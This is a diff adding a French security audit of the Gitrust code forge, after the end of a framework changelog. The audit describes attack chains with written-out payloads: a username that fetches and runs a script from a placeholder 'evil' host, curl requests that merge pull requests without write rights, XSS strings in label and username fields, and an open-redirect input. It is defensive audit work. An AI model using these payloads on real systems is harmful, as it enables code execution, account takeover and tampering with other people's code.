| 430 | + detection sur la table `audit_logs` (`action = "login_blocked"`). | |
| 431 | +- **Aucune interaction avec le changement d'email** : la RFC 0041 ecrit la | |
| 432 | + nouvelle adresse **deja verifiee**, donc un changement d'adresse ne bloque | |
| 433 | + jamais le login suivant. Le couplage « changement d'adresse => prochain login | |
| 434 | + refuse » qu'annoncait la RFC 0038 n'existe pas. Le compte reste soumis a cette | |
| 435 | + politique sur le seul cas qu'elle vise : une inscription dont l'adresse n'a | |
| 436 | + jamais ete validee. | |
| 437 | +- Le reglage reste **global** (`app_settings`), pas par utilisateur. | |
| 438 | + | |
| 439 | +--- | |
| 440 | + | |
| 441 | +### Recapitulatif des workarounds consommateur a retirer | |
| 442 | + | |
| 443 | +| Workaround | Remplace par | | |
| 444 | +|------------|--------------| | |
| 445 | +| Newtype `Username` / `validate_username()` local (gitrust) | `rustwarden_core::types::Username` (prelude) | | |
| 446 | +| `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` (gitrust) | `builder().security_headers(SecurityHeadersConfig { .. })` | | |
| 447 | +| Headers COOP/CORP poses a la main | `SecurityHeadersConfig::with_same_origin_isolation()` | | |
| 448 | +| Ecriture de `users.email` via `update_profile` / `PUT /admin/users/{id}` | `EmailChangeService::request_change` (utilisateur) ou `admin_force_change` (operateur) (RFC 0041) | | |
| 449 | +| Reset manuel de `email_verified` apres un changement d'adresse | Sans objet : l'adresse est ecrite deja verifiee a la confirmation (RFC 0041) | | |
| 450 | +| Enqueue applicatif du mail de validation / `account_modified` sur changement d'email | Fait par le core (RFC 0041) | | |
| 451 | +| Appel applicatif a `PasswordChangeService::invalidate_on_email_change` | Fait par le core dans `confirm_change` / `admin_force_change` (RFC 0041) | | |
| 452 | +| Double saisie maison pour eviter le lock-out sur faute de frappe | Sans objet : l'adresse courante ne bouge pas tant que la nouvelle n'est pas confirmee (RFC 0041) | | |
| 453 | +| Re-verification de `email_verified` apres `authenticate_user` | Fait par le service (RFC 0040) | | |
| 454 | +| Patch local de l'anti-rejeu TOTP | `user_totp.last_used_step` (RFC 0037) | | |
| 455 | + | |
| 456 | +--- | |
| 457 | + | |
| 458 | +## 2026-09-18 — Security 1.0.1 (patch interne) | |
| 459 | + | |
| 460 | +Patch de securite **sans nouvelle API `pub`**. Fenetre d'adoption **14 jours** apres | |
| 461 | +diffusion de `[1.0.1]`. Details techniques : CHANGELOG `[1.0.1]`, | |
| 462 | +[SERVICES_REFERENCE.md](SERVICES_REFERENCE.md) bandeau 1.0.1 + §4, §6, §12, §15, §18, §19. | |
| 463 | + | |
| 464 | +> **Mise a jour 2026-09-19** : les RFC 0036–0040 (charset username, | |
| 465 | +> `last_used_step` TOTP, re-validation email, headers de securite configurables, | |
| 466 | +> `email_verified` dans `authenticate_user`) sont depuis passees **Accepted** et | |
| 467 | +> **livrees** dans `[1.1.0]`, la RFC 0038 ayant ete **remplacee** par la RFC 0041 | |
| 468 | +> (changement d'email en deux temps) avant publication. Voir l'entree | |
| 469 | +> [2026-09-18 — RFC 0036-0041 (1.1.0)](#2026-09-18--rfc-0036-0041-110) ci-dessus. | |
| 470 | + | |
| 471 | +### Breaking operational (pas d'API) | |
| 472 | + | |
| 473 | +| Sujet | Avant | Apres 1.0.1 | | |
| 474 | +|-------|--------|-------------| | |
| 475 | +| Serve HTTP | `axum::serve(listener, router)` sans ConnectInfo → toutes les cles `auth:unknown` | `RustwardenApp::run()` utilise `into_make_service_with_connect_info::<SocketAddr>()`. Si vous servez le routeur vous-memes, faire de meme. | | |
| 476 | +| `JWT_SECRET` | Placeholders anglais uniquement | Egalite exacte aussi avec `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` → **refus de boot**. | | |
| 477 | +| `ADMIN_PASSWORD` | Placeholder / trop faible pouvait casser un redeploiement | `AdminConfig::validate()` seulement si creation d'admin. Sans variable, pas de bootstrap. | | |
| 478 | +| PostgreSQL compose | Mot de passe par defaut, bind `0.0.0.0` | Copier `database/env.sample` → `database/.env`, `POSTGRES_PASSWORD` **obligatoire** (`:?`), bind `127.0.0.1:5432`. | | |
| 479 | +| Reset MDP faible | Token consomme puis 400 | Complexite verifiee **avant** hash / `used_at`. | | |
| 480 | +| Rate limiter plein | 429 sur une **nouvelle** cle | Eviction LRU a 100 000 entrees. | | |
| 481 | +| Auth middleware | Fail-open lookup user / blacklist / TOTP force | Fail-closed (503 sur erreur TOTP force). | | |
| 482 | +| TOTP login | Compteur de challenges, pas de rejeu in-process | 15 tentatives / 5 min ; rejeu in-process seulement. | | |
| 483 | +| `.env.example` CLI | `JWT_SECRET` / `ADMIN_PASSWORD` placeholder | Secrets a definir ; ne plus copier un placeholder. | | |
| 484 | + | |
| 485 | +### Workarounds consommateur a retirer | |
| 486 | + | |
| 487 | +Apres vendor / `update-project` + rebuild : | |
| 488 | + | |
| 489 | +- garde JWT maison dupliquant `AuthConfig` (placeholders FR) ; | |
| 490 | +- rate-limit login base uniquement sur `HeaderMap` / `X-Forwarded-For` pour compenser `auth:unknown` — le layer JSON lit ConnectInfo ; un POST `/login` **SSR** hors `auth_api_routes()` reste a limiter cote app ; | |
| 491 | +- `RateLimitService::new()` dans chaque handler de reset / verify email (les services framework partagent un `OnceLock`) ; | |
| 492 | +- patch local du plafond TOTP ou du rejeu in-process. | |
| 493 | + | |
| 494 | +`check_auth_rate_limit(&HeaderMap)` **n'a pas change de signature**. Il ignore toujours ConnectInfo. | |
| 495 | + | |
| 496 | +### Dependances | |
| 497 | + | |
| 498 | +`rustwarden-core` pin `sea-bae = "0.2.2"` et `validator_derive = "0.20.1"` (drop | |
| 499 | +`proc-macro-error2` / RUSTSEC-2026-0173). Apres sync des crates, `cargo update` | |
| 500 | +puis verifier l'absence de `proc-macro-error2` dans `cargo tree -i proc-macro-error2`. | |
| 501 | + | |
| 502 | +`validator` reste `0.20` (pas de `0.20.1` sur crates.io pour le crate principal). | |
| 7 | 503 | |
| 8 | 504 | --- |
| 9 | 505 |
A
docs/SECURITY_AUDIT.md
+511
-0
@@ -0,0 +1,511 @@
| 1 | +# Audit de sécurité Gitrust — 17 septembre 2026 | |
| 2 | + | |
| 3 | +Audit statique complet du code et de la configuration, mené du double point de vue | |
| 4 | +**exploitant de la plateforme** (celui qui déploie) et **utilisateur de la plateforme** | |
| 5 | +(celui qui s'inscrit et pousse du code). | |
| 6 | + | |
| 7 | +| | | | |
| 8 | +|---|---| | |
| 9 | +| **Périmètre** | `gitrust-core`, `gitrust-git`, `gitrust-web`, `gitrust-ssh`, `gitrust-ssh-guard`, `gitrust-hooks`, `src/main.rs`, `deployment/`, `docker/`, `database/`, dépendances | | |
| 10 | +| **Hors périmètre** | `rustwarden-fediverse`, `rustwarden-fediverse-guard` et tous les chemins ActivityPub (features opt-in, exclues sur consigne) | | |
| 11 | +| **Framework** | `rustwarden-core` lu en seule lecture ; les constats qui en relèvent sont marqués *upstream* | | |
| 12 | +| **Méthode** | Analyse statique du code source, des gabarits, de la configuration et de l'historique Git. `cargo audit` exécuté. **Aucun test dynamique, aucune exploitation réelle.** | | |
| 13 | +| **Volume** | ~64 000 lignes de Rust auditées, 9 crates, ~95 constats | | |
| 14 | +| **Verdict** | **BLOQUANT** — ne pas déployer chez un tiers ni faire de démonstration publique avant traitement des constats critiques | | |
| 15 | + | |
| 16 | +--- | |
| 17 | + | |
| 18 | +## 1. Synthèse exécutive | |
| 19 | + | |
| 20 | +### Le verdict en une phrase | |
| 21 | + | |
| 22 | +Le **code applicatif est de bonne facture** — les invariants annoncés (pas de `unwrap`, pas | |
| 23 | +d'`unsafe`, échappement systématique, CSRF réel, aucune injection SQL) sont **tenus dans les | |
| 24 | +faits**, ce qui est rare. Mais **trois défauts ponctuels ouvrent des chaînes d'attaque | |
| 25 | +complètes**, et **la configuration livrée est dangereuse en l'état** : des secrets de | |
| 26 | +production sont versionnés, et le compte administrateur des fichiers de déploiement a pour | |
| 27 | +mot de passe `password`. | |
| 28 | + | |
| 29 | +### Répartition des constats | |
| 30 | + | |
| 31 | +| Sévérité | Nombre | Nature | | |
| 32 | +|---|---|---| | |
| 33 | +| **CRITIQUE** | 8 | RCE, secrets de production exposés, prise de contrôle administrative | | |
| 34 | +| **ÉLEVÉE** | 17 | Contournement d'autorisation, XSS stockée, contournement 2FA, CVE pré-authentification | | |
| 35 | +| **MOYENNE** | 26 | IDOR, énumération, durcissement manquant, déni de service | | |
| 36 | +| **FAIBLE / INFO** | ~44 | Défense en profondeur, cohérence, hygiène | | |
| 37 | + | |
| 38 | +### Les huit constats critiques | |
| 39 | + | |
| 40 | +| # | Constat | Localisation | Qui peut l'exploiter | | |
| 41 | +|---|---|---|---| | |
| 42 | +| **C-1** | Exécution de code à distance sur l'hôte Gitrust via le nom d'utilisateur interpolé dans un `sh -c` | `ci_worker.rs:380` | Tout utilisateur qui peut s'inscrire | | |
| 43 | +| **C-2** | Suppression récursive de répertoire arbitraire | `gitrust-hooks/src/lib.rs:221` | Tout utilisateur (via renommage de compte) | | |
| 44 | +| **C-3** | Fusion de pull request sans aucun droit d'écriture (API REST) | `api/pulls.rs:190` | Tout compte authentifié, sur tout dépôt public | | |
| 45 | +| **C-4** | `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD` et `SMTP_PASSWORD` de production dans l'historique Git | commits `91ff499`, `20dbf23` | Quiconque obtient un clone | | |
| 46 | +| **C-5** | Mot de passe PostgreSQL et `OAUTH_ENCRYPTION_KEY` de production versionnés dans `.env.test` | `.env.test:6` et `:60` | Quiconque lit le dépôt | | |
| 47 | +| **C-6** | `ADMIN_PASSWORD` vaut littéralement `password` | `.env`, `.env.production`, `.env.local`, `deployment/.env_nuage` | Attaquant distant non authentifié | | |
| 48 | +| **C-7** | Le placeholder `JWT_SECRET` de `.env.example` passe la validation, et `deploy.sh` le promeut en `.env` | `.env.example:99`, `deploy.sh:417` | Toute instance déployée par un tiers selon le chemin nominal | | |
| 49 | +| **C-8** | Dump SQL de 22 Mo (utilisateurs, jetons, clés SSH) non couvert par `.gitignore` | `Services/gitrust-backup-2026-05-28-2211.sql` | Un seul `git add .` suffit à le publier | | |
| 50 | + | |
| 51 | +### Une cause racine explique quatre constats | |
| 52 | + | |
| 53 | +**Le nom d'utilisateur n'est validé nulle part** — ni charset, ni format, ni liste de noms | |
| 54 | +réservés. `register_submit` (`handlers/auth.rs:391`) transmet la chaîne brute du formulaire à | |
| 55 | +`UserService::create_user`, et la route API du framework ne contrôle que la longueur | |
| 56 | +(`length(min = 3, max = 64)`). Cette seule lacune produit **C-1** (injection shell), **C-2** | |
| 57 | +(suppression de répertoire), **X-2** (XSS stockée visant l'administrateur) et une création de | |
| 58 | +répertoire hors arborescence (`auth.rs:442`). | |
| 59 | + | |
| 60 | +Le projet dispose pourtant du bon outil : les newtypes validés `RepoSlug` et `TeamSlug` | |
| 61 | +(`gitrust-core/src/types.rs`). Il manque simplement l'équivalent pour `username`. **Un | |
| 62 | +correctif d'une vingtaine de lignes ferme quatre vulnérabilités dont deux critiques** — c'est | |
| 63 | +de loin le meilleur rapport effort/bénéfice de tout ce rapport. | |
| 64 | + | |
| 65 | +--- | |
| 66 | + | |
| 67 | +## 2. Chaînes d'attaque — le point de vue d'un utilisateur de la plateforme | |
| 68 | + | |
| 69 | +Cette section répond directement à votre demande d'analyse « comme utilisateur de la | |
| 70 | +plateforme ». Chaque scénario est réalisable par un compte ordinaire, sans privilège. | |
| 71 | + | |
| 72 | +### Scénario A — De l'inscription à l'exécution de code sur le serveur (C-1) | |
| 73 | + | |
| 74 | +**Prérequis** : pouvoir créer un compte. `ALLOW_REGISTRATION=false` par défaut dans | |
| 75 | +`.env.example`, mais une instance de démonstration l'ouvre par définition. | |
| 76 | + | |
| 77 | +1. L'attaquant s'inscrit avec le nom d'utilisateur `` x`curl${IFS}http://evil/x.sh|sh`y ``. | |
| 78 | + Aucun `/`, `..` ni `\` : les trois seuls filtres existants sont contournés. C'est un nom de | |
| 79 | + répertoire Linux parfaitement valide, et il est créé sur le disque. | |
| 80 | +2. Il crée un dépôt, y dépose un `.gitrust-ci.yml` minimal, et pousse. | |
| 81 | +3. Le worker CI appelle `prepare_workspace`, qui construit : | |
| 82 | + | |
| 83 | +```rust | |
| 84 | +// crates/gitrust-core/src/services/ci_worker.rs:380 | |
| 85 | +let mut cmd = Command::new("sh"); | |
| 86 | +cmd.arg("-c").arg(format!( | |
| 87 | + "git --git-dir {} archive --format=tar {} | tar -xf - -C {}", | |
| 88 | + task.disk_path.display(), // contient le username, non échappé | |
| 89 | + task.commit_sha, | |
| 90 | + workspace_dir.display(), | |
| 91 | +)) | |
| 92 | +``` | |
| 93 | + | |
| 94 | +4. La substitution de commande s'exécute **sur l'hôte Gitrust lui-même**, avec l'identité du | |
| 95 | + processus de la forge — **avant** tout envoi vers le runner distant. L'isolation prévue par | |
| 96 | + l'architecture CI est intégralement contournée. | |
| 97 | + | |
| 98 | +**Ce que l'attaquant obtient** : lecture de `GIT_REPOS_BASE_PATH` (tous les dépôts privés de | |
| 99 | +tous les utilisateurs), du `.env` (`DATABASE_URL`, `JWT_SECRET`, `SMTP_PASSWORD`), et de la clé | |
| 100 | +SSH du runner. Avec le `JWT_SECRET`, il forge un jeton administrateur. **Compromission totale.** | |
| 101 | + | |
| 102 | +Le paradoxe est que le bon patron existe déjà dans le même dépôt : `sbom_service.rs:211` fait | |
| 103 | +exactement la même opération en argv natif, sans shell, et valide `commit_sha` contre | |
| 104 | +`^[0-9a-f]{40}$`. `ci_worker` aurait dû le recopier. | |
| 105 | + | |
| 106 | +### Scénario B — Écrire dans le dépôt de quelqu'un d'autre (C-3) | |
| 107 | + | |
| 108 | +**Prérequis** : un compte, et un dépôt public quelconque. | |
| 109 | + | |
| 110 | +`resolve_api_repo` (`api/repos.rs:42-86`) ne vérifie **que la lecture** : permission explicite | |
| 111 | +ou `is_public`. Le contexte qu'il renvoie ne porte aucune notion d'écriture. `merge_pull` s'en | |
| 112 | +contente et écrit directement dans le dépôt bare : | |
| 113 | + | |
| 114 | +```bash | |
| 115 | +# 1. Ouvrir une PR (create_pull ne demande également que la lecture) | |
| 116 | +curl -X POST https://forge/api/v1/repos/victime/projet/pulls \ | |
| 117 | + -H "Authorization: token <son_propre_PAT>" \ | |
| 118 | + -d '{"title":"x","source_branch":"une-branche","target_branch":"main"}' | |
| 119 | + | |
| 120 | +# 2. La fusionner dans main | |
| 121 | +curl -X POST https://forge/api/v1/repos/victime/projet/pulls/42/merge \ | |
| 122 | + -H "Authorization: token <son_propre_PAT>" | |
| 123 | +# → 200 : commit de merge écrit dans refs/heads/main, CI déclenchée | |
| 124 | +``` | |
| 125 | + | |
| 126 | +Le handler SSR équivalent fait bien le contrôle (`pull_requests.rs:494`, « only maintainers can | |
| 127 | +merge »). C'est l'API REST qui l'a perdu en route. **Pour une forge, l'intégrité du code d'un | |
| 128 | +dépôt est l'invariant fondamental : ce constat seul justifie un correctif immédiat.** | |
| 129 | + | |
| 130 | +La même cause racine — l'absence de notion `can_push` dans le contexte résolu — laisse neuf | |
| 131 | +autres handlers d'écriture gardés par un simple droit de lecture (voir §4.2, AUTHZ-03) : | |
| 132 | +fermer et rouvrir les issues et les PR, commenter, créer une PR. Un compte lambda peut fermer | |
| 133 | +l'intégralité du suivi de bugs d'un dépôt public. | |
| 134 | + | |
| 135 | +### Scénario C — Exécuter du JavaScript chez le mainteneur (X-1) | |
| 136 | + | |
| 137 | +**Prérequis** : accès en lecture à un dépôt, et le droit d'ouvrir une issue. | |
| 138 | + | |
| 139 | +Askama échappe correctement le HTML, mais **l'échappement HTML ne protège pas un contexte | |
| 140 | +JavaScript imbriqué dans un attribut** : le parseur décode `'` en `'` *avant* que le | |
| 141 | +moteur JS ne compile le source. | |
| 142 | + | |
| 143 | +```html | |
| 144 | +<!-- crates/gitrust-web/templates/repository/issue_detail.html:146 --> | |
| 145 | +onclick="removeSubjectTag(this, '{{ label.name }}')" | |
| 146 | +``` | |
| 147 | + | |
| 148 | +Les labels « subject » sont créés à la volée par n'importe quel auteur d'issue | |
| 149 | +(`issue_labels.rs:78-105`), et `validate_label_name` ne contrôle que la longueur. Un label | |
| 150 | +nommé `x'+alert(document.domain)+'` s'exécute chez le mainteneur qui ouvre l'issue. | |
| 151 | + | |
| 152 | +La CSP ne rattrape rien : elle contient `script-src 'unsafe-inline'`. Et `'unsafe-eval'` y | |
| 153 | +figure aussi alors qu'il est démontrablement inutile (ni Mermaid ni htmx n'en ont besoin ici). | |
| 154 | + | |
| 155 | +**Variante visant l'administrateur (X-2)** : le nom d'utilisateur est injecté dans un | |
| 156 | +`onsubmit` sur `/admin/users/{id}` (`admin/user_detail.html:126`). Puisque `username` n'est pas | |
| 157 | +validé, s'inscrire sous `x'+fetch('/admin/…')+'` suffit à exécuter du code dans la session de | |
| 158 | +l'administrateur qui consulte la fiche du compte. | |
| 159 | + | |
| 160 | +### Scénario D — Contourner le second facteur (AUTH-01, AUTH-04) | |
| 161 | + | |
| 162 | +Deux défauts se combinent pour un attaquant qui détient déjà un mot de passe (phishing, fuite | |
| 163 | +d'une base tierce, réutilisation). | |
| 164 | + | |
| 165 | +D'abord, le contrôle 2FA **échoue en mode ouvert** : | |
| 166 | + | |
| 167 | +```rust | |
| 168 | +// crates/gitrust-web/src/handlers/auth.rs:144-148 | |
| 169 | +match TotpService::is_totp_enabled(&db, user.id).await { | |
| 170 | + Ok(true) => { /* challenge 2FA */ } | |
| 171 | + Err(e) => { tracing::error!("Failed to check TOTP status: {e}"); } // ← puis JWT délivré | |
| 172 | + _ => {} | |
| 173 | +} | |
| 174 | +``` | |
| 175 | + | |
| 176 | +Toute erreur SQL — saturation du pool, indisponibilité passagère — délivre un JWT complet sans | |
| 177 | +second facteur. Or `POST /login` **n'a aucun rate limiting** (le limiteur du framework ne couvre | |
| 178 | +que `/api/v1/auth/login`, et nginx n'en pose aucun), ce qui donne précisément le moyen de | |
| 179 | +provoquer cette saturation. | |
| 180 | + | |
| 181 | +Ensuite, l'anti-brute-force TOTP est inopérant : il ne compte que les challenges **saturés** | |
| 182 | +(`attempts >= 5`). S'arrêter à 4 essais puis redemander un challenge n'est jamais comptabilisé, | |
| 183 | +donc le nombre de tentatives est illimité. Le second facteur se réduit à un délai. | |
| 184 | + | |
| 185 | +### Scénario E — Le mot de passe `password` (C-6) | |
| 186 | + | |
| 187 | +Le plus simple, et le plus dommageable en démonstration. L'empreinte SHA-256 de | |
| 188 | +`ADMIN_PASSWORD` dans `.env`, `.env.production`, `.env.local` et `deployment/.env_nuage` est | |
| 189 | +`5e884898da28…`, soit la chaîne `password`. Le compte administrateur créé au premier démarrage | |
| 190 | +est protégé par le mot de passe le plus testé au monde, sur un service écoutant en `0.0.0.0`. | |
| 191 | +Le rate limiting ne protège pas contre une tentative unique et correcte. | |
| 192 | + | |
| 193 | +--- | |
| 194 | + | |
| 195 | +## 3. Inventaire des constats | |
| 196 | + | |
| 197 | +### 3.1 Critiques | |
| 198 | + | |
| 199 | +| ID | Constat | Fichier:ligne | Confiance | | |
| 200 | +|---|---|---|---| | |
| 201 | +| C-1 | RCE via `username` interpolé dans `sh -c` (CI) | `gitrust-core/src/services/ci_worker.rs:380` | confirmé | | |
| 202 | +| C-2 | `remove_dir_all` sans validation dans `on_user_deleted` | `gitrust-hooks/src/lib.rs:221` | confirmé | | |
| 203 | +| C-3 | Fusion de PR sans contrôle d'écriture (API) | `gitrust-web/src/handlers/api/pulls.rs:190` | confirmé | | |
| 204 | +| C-4 | Secrets de production dans l'historique Git | commits `91ff499`, `20dbf23` | confirmé | | |
| 205 | +| C-5 | Mot de passe PG + clé OAuth de prod dans `.env.test` versionné | `.env.test:6`, `:60` | confirmé | | |
| 206 | +| C-6 | `ADMIN_PASSWORD=password` | 4 fichiers d'environnement | confirmé | | |
| 207 | +| C-7 | Placeholder `JWT_SECRET` valide + promu par `deploy.sh` | `.env.example:99`, `deployment/deploy.sh:417` | confirmé | | |
| 208 | +| C-8 | Dump SQL 22 Mo non gitignoré | `Services/gitrust-backup-2026-05-28-2211.sql` | confirmé | | |
| 209 | + | |
| 210 | +### 3.2 Élevées | |
| 211 | + | |
| 212 | +| ID | Constat | Fichier:ligne | | |
| 213 | +|---|---|---| | |
| 214 | +| E-1 | Fail-open du contrôle 2FA au login SSR | `handlers/auth.rs:144` | | |
| 215 | +| E-2 | Aucun rate limiting sur `POST /login` | `handlers/auth.rs:85` | | |
| 216 | +| E-3 | Anti-brute-force TOTP inopérant (compte les challenges saturés) | `rustwarden-core/.../totp_service.rs:289` *(upstream)* | | |
| 217 | +| E-4 | Vérification email contournée : login SSR ignore `EMAIL_VALIDATION_REQUIRED`, inscription sans mail | `handlers/auth.rs:85`, `:430` | | |
| 218 | +| E-5 | XSS stockée via nom de label dans `onclick` | `templates/repository/issue_detail.html:146`, `fragments/labels_suggest.html:7` | | |
| 219 | +| E-6 | XSS stockée via nom d'utilisateur dans `onsubmit` | `templates/admin/user_detail.html:126`, `repository/settings.html:95` | | |
| 220 | +| E-7 | Écritures issues/PR gardées par un droit de lecture (9 handlers) | `issues.rs:190,316,356,382` · `pull_requests.rs:193,630,658` · `api/issues.rs:209` · `api/pulls.rs:298` | | |
| 221 | +| E-8 | Scopes de PAT jamais appliqués (`api:read` écrit, `git:read` pousse) | `extractors/api_auth.rs:106`, `git_http.rs:431` | | |
| 222 | +| E-9 | IDOR : édition/suppression de labels d'autres dépôts | `handlers/labels.rs:174,246` + `label_service.rs:262,319` | | |
| 223 | +| E-10 | IDOR : logs CI d'un dépôt privé lisibles depuis un autre dépôt | `handlers/ci.rs:116,179` | | |
| 224 | +| E-11 | IDOR : suppression de variable CI d'un autre dépôt | `handlers/ci.rs:543` | | |
| 225 | +| E-12 | CVE `russh` 0.58 exploitables **avant authentification** (port 2222) | RUSTSEC-2026-0154 / -0153, CVSS 7.5 | | |
| 226 | +| E-13 | Création de répertoire arbitraire non authentifiée à l'inscription | `handlers/auth.rs:442`, `admin_users.rs:505` | | |
| 227 | +| E-14 | Absence de timeout et de limite de taille sur les sous-processus git | `pack_protocol.rs:117`, `gitrust-ssh/src/session.rs:441` | | |
| 228 | +| E-15 | `.env` distant jamais mis en `chmod 600` | `deployment/deploy.sh:414` | | |
| 229 | +| E-16 | `APP_DEBUG=true` en production → cookies sans `Secure` | `.env`, `.env.production`, `deployment/.env_nuage` | | |
| 230 | +| E-17 | Certificat TLS « snakeoil » actif dans la conf nginx livrée | `deployment/nginx-gitrust.conf:57` | | |
| 231 | +| E-18 | PostgreSQL exposé en `0.0.0.0:5432` avec mot de passe de repli | `database/docker-compose.yml:19` | | |
| 232 | +| E-19 | Secrets de l'hôte exposés au build CI ; runner colocalisé par défaut | `config.rs:189` (`CI_REMOTE_HOST=localhost`) | | |
| 233 | + | |
| 234 | +### 3.3 Moyennes (sélection) | |
| 235 | + | |
| 236 | +| ID | Constat | Fichier:ligne | | |
| 237 | +|---|---|---| | |
| 238 | +| M-1 | `username` non validé (cause racine de C-1, C-2, E-6, E-13) | `handlers/auth.rs:391`, `user_service.rs:32` *(upstream)* | | |
| 239 | +| M-2 | Politique de mot de passe non appliquée à l'inscription ni au reset | `handlers/auth.rs:411`, `password_reset_service.rs:233` | | |
| 240 | +| M-3 | Rate limiting des emails inerte (service réinstancié à chaque requête) | `handlers/password_reset.rs:65`, `email_verify.rs:44` | | |
| 241 | +| M-4 | Aucune ré-authentification pour désactiver le 2FA, changer l'email, ajouter une clé SSH | `handlers/security.rs:187,230` | | |
| 242 | +| M-5 | Changement d'email conserve le statut « vérifié », sans notification | `user_service.rs:190` *(upstream)* | | |
| 243 | +| M-6 | Logout SSR ne révoque pas le JWT d'accès | `handlers/auth.rs:310` | | |
| 244 | +| M-7 | Aucun anti-rejeu du code TOTP (fenêtre ~90 s) | `totp_service.rs:395` *(upstream)* | | |
| 245 | +| M-8 | `bcrypt::verify` synchrone sur les codes de secours → saturation du runtime | `totp_service.rs:190` *(upstream)* | | |
| 246 | +| M-9 | Squat d'empreinte de clé SSH + oracle d'existence | `ssh_key_service.rs:83` | | |
| 247 | +| M-10 | CSP neutralisée par `unsafe-inline` ; `unsafe-eval` inutile | `rustwarden-core/src/app.rs:810` *(upstream)* | | |
| 248 | +| M-11 | Redirection ouverte via `/login?redirect=/\evil.com` | `handlers/auth.rs:604` | | |
| 249 | +| M-12 | IDOR : labels arbitraires assignables à la création d'une issue | `handlers/issues.rs:192` | | |
| 250 | +| M-13 | `grant_team_access` accepte n'importe quel `team_id` | `handlers/collaborators.rs:299` | | |
| 251 | +| M-14 | Énumération de dépôts privés (401 vs 404, HTTP et Git) | `helpers.rs:350`, `git_http.rs:363` | | |
| 252 | +| M-15 | Sous-processus git sans nettoyage d'environnement | `gitrust-ssh/src/session.rs:580`, `pack_protocol.rs:84` | | |
| 253 | +| M-16 | SSRF : validation d'URL sensible au DNS rebinding et aux redirections | `gitrust-git/src/remote.rs:40` | | |
| 254 | +| M-17 | Rendu Markdown/syntect sans plafond de taille (DoS CPU) | `highlight.rs`, `issue_service.rs:37` | | |
| 255 | +| M-18 | Store mémoire ssh-guard non borné entre deux purges horaires | `gitrust-ssh-guard/src/store/memory.rs:37` | | |
| 256 | +| M-19 | `SSH_GUARD_MAX_CONCURRENT_PER_IP` défini mais jamais utilisé | `config.rs:324` | | |
| 257 | +| M-20 | `setup-remote-ci.sh` : `curl \| sh` non vérifié, `source` du `.env` | `deployment/setup-remote-ci.sh:19,61,73` | | |
| 258 | +| M-21 | Durcissement systemd incomplet ; `CAP_NET_BIND_SERVICE` inutile | `deployment/gitrust.service:17` | | |
| 259 | +| M-22 | Image Docker : Syft installé depuis `main`, pas d'épinglage, pas de healthcheck | `docker/Dockerfile:55` | | |
| 260 | +| M-23 | Mot de passe PG en dur dans une couche d'image | `docker/Dockerfile:84` | | |
| 261 | +| M-24 | Nettoyage distant du workspace CI jamais awaité (fuite entre tenants) | `ci_worker.rs:507` | | |
| 262 | +| M-25 | Fichier versionné au nom trompeur de clé privée | `deployment/root@gitrust.ebii.fr` | | |
| 263 | +| M-26 | Ajout à une équipe sans consentement du membre | `handlers/user_teams.rs:181` | | |
| 264 | + | |
| 265 | +### 3.4 Faibles et informatifs (sélection) | |
| 266 | + | |
| 267 | +`must_change_password` jamais appliqué sur les pages SSR (`src/main.rs:490`) · 2FA obligatoire | |
| 268 | +non appliqué aux chemins API · `GET /logout` déconnectable par requête intersite · refresh | |
| 269 | +token SSR jamais rotaté (arbitrage documenté) · PAT créés depuis l'UI avec tous les scopes | |
| 270 | +(`tokens.rs:41`) · pas de `session.cycle_id()` à la connexion · bootstrap admin sans complexité | |
| 271 | +imposée · reset de mot de passe ne révoque ni PAT ni clés SSH · formulaire de suppression | |
| 272 | +d'utilisateur sans jeton CSRF (fonctionnalité cassée, pas une brèche) · en-têtes COOP/COEP/CORP | |
| 273 | +absents · XSS de rôle dans un `confirm()` (admin uniquement) · couleur de label non validée en | |
| 274 | +hexadécimal · attribut `class` arbitraire autorisé dans le Markdown · `Cache-Control: no-store` | |
| 275 | +absent sur les dépôts privés · secrets CI sérialisés en clair par l'API · `deploy_ebii.conf` | |
| 276 | +versionné (topologie) · `.dockerignore` incomplet · `RUST_LOG=debug` en production · journal | |
| 277 | +d'audit non inviolable. | |
| 278 | + | |
| 279 | +### 3.5 Dépendances — `cargo audit` | |
| 280 | + | |
| 281 | +**15 vulnérabilités, 7 avertissements.** Les cinq qui comptent pour cette architecture : | |
| 282 | + | |
| 283 | +| Avis | Paquet | CVSS | Pourquoi c'est pertinent ici | | |
| 284 | +|---|---|---|---| | |
| 285 | +| RUSTSEC-2026-0154 / -0153 | `russh`, `russh-cryptovec` 0.58.0 | 7.5 | Port SSH 2222 exposé, atteignable **sans authentification** | | |
| 286 | +| RUSTSEC-2026-0258 | `h2` 0.4.13 | — | Trames DATA vides non bornées, serveur HTTP | | |
| 287 | +| RUSTSEC-2026-0285 | `rustls` 0.23.37 | 5.3 | Messages TLS 1.3 acceptés hors niveau de chiffrement | | |
| 288 | +| RUSTSEC-2026-0199 | `bcrypt` 0.19.0 | 5.3 | Panique sur hash non-ASCII, chemin d'authentification | | |
| 289 | +| RUSTSEC-2026-0183 / -0184 | `git2` 0.20.4 | — | Comportement indéfini potentiel en FFI | | |
| 290 | + | |
| 291 | +**Note sur `ammonia` 4.1.2** (RUSTSEC-2026-0213 et -0193) : vérification faite, **ces deux avis | |
| 292 | +ne sont pas exploitables ici**. Ils exigent l'autorisation explicite des balises SVG | |
| 293 | +(`animate`, `set`) ou MathML (`annotation-xml`), et la configuration de `highlight.rs:94` | |
| 294 | +n'ajoute que `details`, `summary` et `kbd` à l'allowlist par défaut, qui ne les contient pas. | |
| 295 | +Mise à jour recommandée par hygiène, sans urgence. | |
| 296 | + | |
| 297 | +Correctif global : `russh ≥ 0.60.3`, `h2 ≥ 0.4.16`, `rustls ≥ 0.23.45`, `bcrypt ≥ 0.19.2`, | |
| 298 | +`quick-xml ≥ 0.41.0`, `quinn-proto ≥ 0.11.15`, `ammonia ≥ 4.1.4`. | |
| 299 | + | |
| 300 | +--- | |
| 301 | + | |
| 302 | +## 4. Analyses transverses | |
| 303 | + | |
| 304 | +### 4.1 Ce qui est réellement solide | |
| 305 | + | |
| 306 | +Il serait injuste de laisser les constats ci-dessus masquer un socle sérieux. Ces points sont | |
| 307 | +des arguments défendables face à un prospect ou un auditeur. | |
| 308 | + | |
| 309 | +**Les invariants ANSSI annoncés sont tenus.** Les 35 directives | |
| 310 | +`#[allow(clippy::unwrap_used, …)]` des crates `gitrust-*` sont **toutes** cantonnées à des | |
